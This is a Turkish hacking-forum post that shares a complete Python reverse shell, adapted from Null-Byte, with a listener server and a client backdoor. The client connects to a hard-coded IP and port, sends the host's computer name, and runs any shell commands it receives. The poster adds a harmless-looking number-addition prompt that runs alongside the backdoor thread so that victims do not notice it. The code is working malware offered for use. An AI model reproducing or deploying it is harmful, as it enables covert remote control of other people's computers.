Python Reverse Shell (Socket)

zZseriesZz

Yeni üye
8 Ocak 2017
29
0
-
Merhaba arkadaşlar.
Null-Byte: How to Reverse Shell Using Python « Null Byte
Türkçe kaynak: Python Reverse TCP Shell (Socket) - Python for Hackers

Ben clientin kendini belli etmemesi için toplama fonksiyonu ekledim. Gerisi Null-Byte'den alınmıştır :)

Nld45Q.jpg


Server:
Kod:
import socket, os, sys

def socketCreate():
	try:
		global HOST
		global PORT
		global s
		
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		HOST = "192.168.110.1"
		PORT = 2222
	except socket.error as msg:
		print "Socket creation error: "+str(msg[0])
		sys.exit()
		
def socketBind():
	try:
		print "Binding socket at port %s"%(PORT)
		s.bind((HOST, PORT))
		s.listen(1)
	except socket.error as msg:
		print "Socket binding error: "+str(msg[0])
		sys.exit()
		
def socketAccept():
	global conn
	global addr
	global hostname
	try:
		conn, addr = s.accept()
		print "[*] Session opened at %s:%s\n"%(addr[0], addr[1])
		hostname = conn.recv(1024)
		menu()
	except socket.error as msg:
		print "Socket accepting error"
		sys.exit()
def menu():
	while True:
		cmd = raw_input(str(addr[0])+"@"+str(hostname)+ " > ")
		if cmd == "quit":
			conn.close()
			s.close()
			sys.exit()
		command = conn.send(cmd)
		result = conn.recv(16834)
		if result <> hostname:
			print result
			
def main():
	socketCreate()
	socketBind()
	socketAccept()

main()

Client:
Kod:
import threading

def backdoor():
	import socket, os, subprocess

	def connect():
		global HOST
		global PORT
		global s
		
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		HOST = "192.168.110.1"
		PORT = 2222
		
		try:
			s.connect((HOST, PORT))
			s.send(os.environ['COMPUTERNAME'])
		except:
			connect()
			
	def receive():
		receive = s.recv(1024)
		if receive == "quit":
			s.close()
		elif receive[0:5] == "shell":
			proc2 = subprocess.Popen(receive[6:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
			stdout_value = proc2.stdout.read() + proc2.stderr.read()
			args = stdout_value
		else:
			args = "No valid input was given."
		send(args)
		
	def send(args):
		send = s.send(args)
		receive()
	connect()
	receive()
	s.close()

def toplama():
	a = raw_input("Sayi: ")
	b = raw_input("Sayi: ")
	print int(a) + int(b)

threading.Thread(target=backdoor).start()
threading.Thread(target=toplama).start()
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.